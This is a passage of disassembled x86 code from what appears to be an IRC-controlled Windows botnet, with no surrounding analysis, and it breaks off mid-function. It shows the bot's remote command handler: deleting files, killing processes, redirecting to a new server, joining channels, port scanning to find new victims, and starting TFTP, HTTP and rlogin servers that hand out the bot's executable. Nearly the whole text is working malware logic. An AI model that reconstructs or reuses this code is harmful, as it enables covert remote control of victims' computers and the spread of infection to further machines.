		jz	loc_40E7D9
		push	eax		; Format
		call	sub_407102
		test	eax, eax
		pop	ecx
		jnz	short loc_40D39D
		push	offset aMircClientNotO ; "[mIRC]: Client not open."
		jmp	loc_40D4DD
; ---------------------------------------------------------------------------


loc_40D39D:				; CODE XREF: sub_409557+3E3Aj
		push	offset aMircCommandSen ; "[mIRC]: Command sent."
		jmp	loc_40D4DD
; ---------------------------------------------------------------------------


loc_40D3A7:				; CODE XREF: sub_409557+16F7j
					; sub_409557+170Ej
		push	ebx		; Source
		push	[ebp+var_8C]	; int
		push	[ebp+arg_4]	; int
		push	edi		; Str
		call	sub_404FFE
		push	edi
		push	offset aFileListS ; "[FILE]: List: %s"
		jmp	loc_40CF1C
; ---------------------------------------------------------------------------


loc_40D3C2:				; CODE XREF: sub_409557+16C9j
					; sub_409557+16E0j
		push	edi
		call	ds:dword_41B110	; DeleteFileA
		test	eax, eax
		jz	short loc_40D3D5
		push	edi
		push	offset aFileDeletedS_ ;	"[FILE]: Deleted '%s'."
		jmp	short loc_40D3E0
; ---------------------------------------------------------------------------


loc_40D3D5:				; CODE XREF: sub_409557+3E74j
		push	offset aFile	; "[FILE]:"
		call	sub_40703D
		push	eax		; Format


loc_40D3E0:				; CODE XREF: sub_409557+3E7Cj
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	loc_40CCA5
; ---------------------------------------------------------------------------


loc_40D3F9:				; CODE XREF: sub_409557+169Bj
					; sub_409557+16B2j
		push	edi		; Str
		call	_atoi
		push	eax
		call	sub_408BC1
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_40D416
		push	offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
		jmp	short loc_40D41B
; ---------------------------------------------------------------------------


loc_40D416:				; CODE XREF: sub_409557+3EB6j
		push	offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...


loc_40D41B:				; CODE XREF: sub_409557+3EBDj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40CA6F
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h
		jmp	loc_40CA6F
; ---------------------------------------------------------------------------


loc_40D454:				; CODE XREF: sub_409557+166Dj
					; sub_409557+1684j
		push	ebx		; int
		push	ebx		; int
		push	edi		; Str2
		push	[ebp+var_4]	; int
		push	ebx		; Str
		push	[ebp+arg_4]	; int
		call	sub_4088B4
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_40D476
		push	offset aProcProcessK_0 ; "[PROC]: Process killed: %s"
		jmp	loc_40CC81
; ---------------------------------------------------------------------------


loc_40D476:				; CODE XREF: sub_409557+3F13j
		push	offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
		jmp	loc_40CC81
; ---------------------------------------------------------------------------


loc_40D480:				; CODE XREF: sub_409557+163Fj
					; sub_409557+1656j
		push	edi
		call	dword_42EBF0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+Src], eax
		jz	short loc_40D4BD
		push	2
		lea	eax, [ebp+Src]
		push	4
		push	eax
		call	dword_42EB70	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40D4D8
		push	dword ptr [eax]


loc_40D4A3:				; CODE XREF: sub_409557+3F7Fj
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_40B799
; ---------------------------------------------------------------------------


loc_40D4BD:				; CODE XREF: sub_409557+3F36j
		push	edi
		call	dword_42EC34	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40D4D8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		jmp	short loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D4D8:				; CODE XREF: sub_409557+3F48j
					; sub_409557+3F6Fj
		push	offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."


loc_40D4DD:				; CODE XREF: sub_409557+35AFj
					; sub_409557+3E05j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40B799
; ---------------------------------------------------------------------------


loc_40D4F0:				; CODE XREF: sub_409557+1611j
					; sub_409557+1628j
		push	7Fh		; Count
		push	edi		; Source
		push	[ebp+arg_14]	; Dest
		call	_strncpy
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------


loc_40D515:				; CODE XREF: sub_409557+15E3j
					; sub_409557+15FAj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_42EB34
		test	eax, eax
		push	edi
		jz	short loc_40D535
		push	offset aShellFileOpene ; "[SHELL]: File	opened:	%s"
		jmp	loc_40CC81
; ---------------------------------------------------------------------------


loc_40D535:				; CODE XREF: sub_409557+3FD2j
		push	offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
		jmp	loc_40CC81
; ---------------------------------------------------------------------------


loc_40D53F:				; CODE XREF: sub_409557+15B5j
					; sub_409557+15CCj
		mov	al, [edi]
		mov	byte_424A60, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
		jmp	loc_40E756
; ---------------------------------------------------------------------------


loc_40D554:				; CODE XREF: sub_409557+1587j
					; sub_409557+159Ej
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_40E7D9
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E7D9
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40FA38
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		jmp	loc_40CE66
; ---------------------------------------------------------------------------


loc_40D59F:				; CODE XREF: sub_409557+1559j
					; sub_409557+1570j
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_4099D2
		push	edi		; Str
		call	_atoi
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_4099D2
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax] ; int
		call	sub_405E1E
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B048	; Sleep
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43054C[eax]
		call	dword_42EC48	; closesocket
		push	[ebp+var_10]
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_430554[eax]
		call	ds:dword_41B124	; TerminateThread
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		push	edi		; Str
		mov	dword_430554[eax], ebx
		call	_atoi
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_430340[eax], bl
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40D648:				; CODE XREF: sub_409557+152Bj
					; sub_409557+1542j
		push	edi		; Str2
		push	offset aAll	; "all"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D677
		call	sub_411E03
		cmp	eax, ebx
		jle	short loc_40D66D
		push	eax
		push	offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
		jmp	loc_40B828
; ---------------------------------------------------------------------------


loc_40D66D:				; CODE XREF: sub_409557+4109j
		push	offset aThreadsNoActiv ; "[THREADS]: No	active threads found."
		jmp	loc_40DFA0
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_409557+4100j
		mov	eax, [ebp+var_A8]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_4099D2
		lea	eax, [ebp+edi*4+Str2]
		mov	[ebp+File], eax


loc_40D693:				; CODE XREF: sub_409557+41ADj
		mov	eax, [ebp+File]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_4099D2
		push	esi		; Str
		call	_atoi
		push	eax
		call	sub_411D75
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40D6BA
		push	offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
		jmp	short loc_40D6BF
; ---------------------------------------------------------------------------


loc_40D6BA:				; CODE XREF: sub_409557+415Aj
		push	offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."


loc_40D6BF:				; CODE XREF: sub_409557+4161j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40D6EF
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40D6EF:				; CODE XREF: sub_409557+417Aj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		add	[ebp+File], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40D693
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40D70B:				; CODE XREF: sub_409557+14FDj
					; sub_409557+1514j
		cmp	[ebp+var_C], ebx
		jz	loc_40E7D9
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40E7D9
		push	esi		; Args
		push	offset aS_0	; "%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	esi
		push	offset aMainIrcRawS_ ; "[MAIN]:	IRC Raw: %s."
		jmp	loc_40D048
; ---------------------------------------------------------------------------


loc_40D742:				; CODE XREF: sub_409557+14CFj
					; sub_409557+14E6j
		push	edi		; Args
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	edi
		push	offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
		jmp	loc_40D048
; ---------------------------------------------------------------------------


loc_40D75B:				; CODE XREF: sub_409557+14A1j
					; sub_409557+14B8j
		push	[ebp+esi+var_8C]
		push	edi		; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	edi
		push	offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
		jmp	loc_40CF1C
; ---------------------------------------------------------------------------


loc_40D77B:				; CODE XREF: sub_409557+1473j
					; sub_409557+148Aj
		push	edi		; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	edi
		push	offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."
		jmp	loc_40D048
; ---------------------------------------------------------------------------


loc_40D794:				; CODE XREF: sub_409557+1438j
					; sub_409557+144Dj
		mov	al, byte_41F252
		mov	[ebp+Src], ebx
		cmp	al, bl
		mov	edx, offset byte_41F252
		jz	loc_4099D2
		mov	ecx, edx


loc_40D7AB:				; CODE XREF: sub_409557+425Cj
		inc	[ebp+Src]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40D7AB
		cmp	al, bl
		jz	loc_4099D2
		mov	[ebp+Str1], edx


loc_40D7C0:				; CODE XREF: sub_409557+4523j
		push	8
		call	sub_411E82
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+Src]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_40D80F
		push	ecx
		lea	eax, [ebp+Dst]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 20h
		jmp	loc_40DA71
; ---------------------------------------------------------------------------


loc_40D80F:				; CODE XREF: sub_409557+4283j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_41F090, ebx
		mov	[ebp+var_304], 0A0h
		mov	[ebp+var_318], 5
		mov	[ebp+var_314], ebx
		mov	[ebp+Src], ebx
		jz	short loc_40D87C
		mov	eax, [ebp+Str1]
		mov	edi, offset dword_41F090
		lea	esi, [eax-0Ah]


loc_40D846:				; CODE XREF: sub_409557+4307j
		lea	eax, [edi-28h]
		push	esi		; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D862
		inc	[ebp+Src]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40D846
		jmp	short loc_40D87C
; ---------------------------------------------------------------------------


loc_40D862:				; CODE XREF: sub_409557+42FDj
		mov	eax, [ebp+Src]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_41F090[ecx]
		mov	[ebp+var_31C], ecx


loc_40D87C:				; CODE XREF: sub_409557+42E2j
					; sub_409557+4309j
		cmp	[ebp+var_31C], ebx
		jz	loc_40DA85
		push	10h
		lea	eax, [ebp+Dest]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+Dest], esi
		push	[ebp+arg_4]
		call	dword_42EB5C	; getsockname
		mov	al, [ebp+var_9B3]
		push	esi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+Drive], eax
		push	[ebp+Drive]	; Count
		call	dword_42EC3C	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_430]
		push	eax		; Dest
		call	_strncpy
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax		; Str
		call	_strrchr
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_40D91E


loc_40D8FC:				; CODE XREF: sub_409557+43C5j
		cmp	eax, ebx
		jz	short loc_40D91E
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_40D8FC


loc_40D91E:				; CODE XREF: sub_409557+43A3j
					; sub_409557+43A7j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]	; Format
		mov	esi, [ebp+var_4]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_420]
		push	eax		; Dest
		mov	[ebp+var_2F0], 1
		mov	[ebp+var_2F8], esi
		call	__snprintf
		mov	edi, offset aFf_0 ; "#ff-"
		push	offset byte_428D64 ; Str2
		push	edi		; Str1
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D988
		push	edi		; Format
		lea	eax, [ebp+var_3A0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40D98E
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_409557+4418j
		mov	[ebp+var_3A0], bl


loc_40D98E:				; CODE XREF: sub_409557+442Fj
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40D9A0
		mov	eax, offset aSequential	; "Sequential"


loc_40D9A0:				; CODE XREF: sub_409557+4442j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_402A0C
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40DA2A


loc_40DA18:				; CODE XREF: sub_409557+44D1j
		cmp	[ebp+var_2EC], ebx
		jnz	short loc_40DA45
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40DA18
; ---------------------------------------------------------------------------


loc_40DA2A:				; CODE XREF: sub_409557+44BFj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40DA45:				; CODE XREF: sub_409557+44C7j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40DA64
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	esi		; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40DA64:				; CODE XREF: sub_409557+44F1j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		pop	ecx


loc_40DA71:				; CODE XREF: sub_409557+42B3j
		add	[ebp+Str1], 0Bh
		mov	eax, [ebp+Str1]
		cmp	[eax], bl
		jnz	loc_40D7C0
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40DA85:				; CODE XREF: sub_409557+2968j
					; sub_409557+432Bj
		push	offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan,	port is	i"...
		jmp	loc_40DFA0
; ---------------------------------------------------------------------------


loc_40DA8F:				; CODE XREF: sub_409557+140Ej
					; sub_409557+1423j
		push	4
		call	sub_411E82
		test	eax, eax
		pop	ecx
		jle	short loc_40DAA5
		push	offset aTftpAlreadyRun ; "[TFTP]: Already running."
		jmp	loc_40ADC3
; ---------------------------------------------------------------------------


loc_40DAA5:				; CODE XREF: sub_409557+4542j
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		jz	short loc_40DAC8
		push	eax		; Format
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40DADC
; ---------------------------------------------------------------------------


loc_40DAC8:				; CODE XREF: sub_409557+4557j
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_41B068	; GetModuleFileNameA


loc_40DADC:				; CODE XREF: sub_409557+456Fj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_40DAEC
		mov	esi, offset aGvujaleodq_exe ; "gvujaleodq.exe"


loc_40DAEC:				; CODE XREF: sub_409557+458Ej
		push	esi		; Format
		lea	eax, [ebp+var_700]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, dword_424A48
		push	7Fh		; Count
		push	[ebp+var_8C]	; Source
		mov	[ebp+var_5F4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F8], ebx
		mov	[ebp+var_808], eax
		lea	eax, [ebp+var_5F0]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_700]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_5F4]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	4		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 38h
		mov	[ebp+var_5FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_808]
		push	ebx
		push	eax
		push	offset sub_411743
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_5FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40DBBC


loc_40DBA6:				; CODE XREF: sub_409557+4663j
		cmp	[ebp+var_568], ebx
		jnz	loc_40CA4B
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40DBA6
; ---------------------------------------------------------------------------


loc_40DBBC:				; CODE XREF: sub_409557+464Dj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "...
		jmp	loc_40E756
; ---------------------------------------------------------------------------


loc_40DBCD:				; CODE XREF: sub_409557+13E4j
					; sub_409557+13F9j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_40DBEC
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_40DBEC
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_40DBF1
; ---------------------------------------------------------------------------


loc_40DBEC:				; CODE XREF: sub_409557+467Fj
					; sub_409557+468Aj
		mov	eax, dword_424A4C


loc_40DBF1:				; CODE XREF: sub_409557+4693j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_584], eax
		xor	eax, eax
		cmp	[ebp+var_9B0], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_570], eax
		jz	short loc_40DC24
		lea	eax, [ebp+var_688]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40DC4F
; ---------------------------------------------------------------------------


loc_40DC24:				; CODE XREF: sub_409557+46BAj
		lea	eax, [ebp+FullPath]
		push	104h
		push	eax
		call	ds:dword_41B098	; GetSystemDirectoryA
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h


loc_40DC4F:				; CODE XREF: sub_409557+46CBj
		lea	eax, [ebp+var_688]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+eax+var_689], 5Ch
		pop	ecx
		jnz	short loc_40DC7A
		lea	eax, [ebp+var_688]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_689], bl


loc_40DC7A:				; CODE XREF: sub_409557+470Dj
		push	[ebp+var_8C]	; Format
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_910]
		mov	[ebp+var_914], esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_688]
		mov	[ebp+var_578], edi
		push	eax
		push	[ebp+var_584]
		push	esi
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	3		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	[ebp+var_57C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_914]
		push	ebx
		push	eax
		push	offset sub_404771
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_57C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40DD32


loc_40DD1C:				; CODE XREF: sub_409557+47D9j
		cmp	[ebp+var_568], ebx
		jnz	loc_40DE81
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40DD1C
; ---------------------------------------------------------------------------


loc_40DD32:				; CODE XREF: sub_409557+47C3j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"...
		jmp	loc_40DE72
; ---------------------------------------------------------------------------


loc_40DD43:				; CODE XREF: sub_409557+13BAj
					; sub_409557+13CFj
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_40DD62
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_40DD62
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_40DD67
; ---------------------------------------------------------------------------


loc_40DD62:				; CODE XREF: sub_409557+47F5j
					; sub_409557+4800j
		mov	eax, dword_424A50


loc_40DD67:				; CODE XREF: sub_409557+4809j
		mov	[ebp+var_580], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_40DD7E
		lea	eax, [ebp+var_C4]


loc_40DD7E:				; CODE XREF: sub_409557+481Fj
		push	eax		; Format
		lea	eax, [ebp+var_6C0]
		push	40h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_40DDA0
		mov	esi, offset byte_428D64


loc_40DDA0:				; CODE XREF: sub_409557+4842j
		push	esi		; Format
		lea	eax, [ebp+var_680]
		push	100h		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+var_8C]	; Format
		lea	eax, [ebp+var_740]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_6C0]
		push	eax
		mov	[ebp+var_744], esi
		push	[ebp+var_580]
		mov	[ebp+var_570], edi
		push	esi
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	6		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	[ebp+var_57C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_744]
		push	ebx
		push	eax
		push	offset sub_40F445
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_57C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40DE66


loc_40DE54:				; CODE XREF: sub_409557+490Dj
		cmp	[ebp+var_568], ebx
		jnz	short loc_40DE81
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40DE54
; ---------------------------------------------------------------------------


loc_40DE66:				; CODE XREF: sub_409557+48FBj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...


loc_40DE72:				; CODE XREF: sub_409557+2E82j
					; sub_409557+2F7Cj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40DE81:				; CODE XREF: sub_409557+2E66j
					; sub_409557+2F60j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40B858
		push	ebx
		push	edi


loc_40DE8C:				; CODE XREF: sub_409557+272Cj
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_40B850
; ---------------------------------------------------------------------------


loc_40DE9F:				; CODE XREF: sub_409557+1390j
					; sub_409557+13A5j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_40DEB2
		push	esi		; Str
		call	_atoi
		jmp	short loc_40DEB9
; ---------------------------------------------------------------------------


loc_40DEB2:				; CODE XREF: sub_409557+4951j
		push	8
		call	sub_411EA1


loc_40DEB9:				; CODE XREF: sub_409557+4959j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40E7D9
		push	eax		; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40226C


loc_40DED4:				; CODE XREF: sub_409557+4DFCj
		add	esp, 10h
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------


loc_40DEDC:				; CODE XREF: sub_409557+1366j
					; sub_409557+137Bj
		mov	eax, dword_42EAEC
		cmp	eax, ebx
		jz	short loc_40DEF9
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_40DEF2
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_40DF0E
; ---------------------------------------------------------------------------


loc_40DEF2:				; CODE XREF: sub_409557+4992j
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_40DF0E
; ---------------------------------------------------------------------------


loc_40DEF9:				; CODE XREF: sub_409557+498Cj
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		jmp	short loc_40DF0E
; ---------------------------------------------------------------------------


loc_40DF00:				; CODE XREF: sub_409557+133Cj
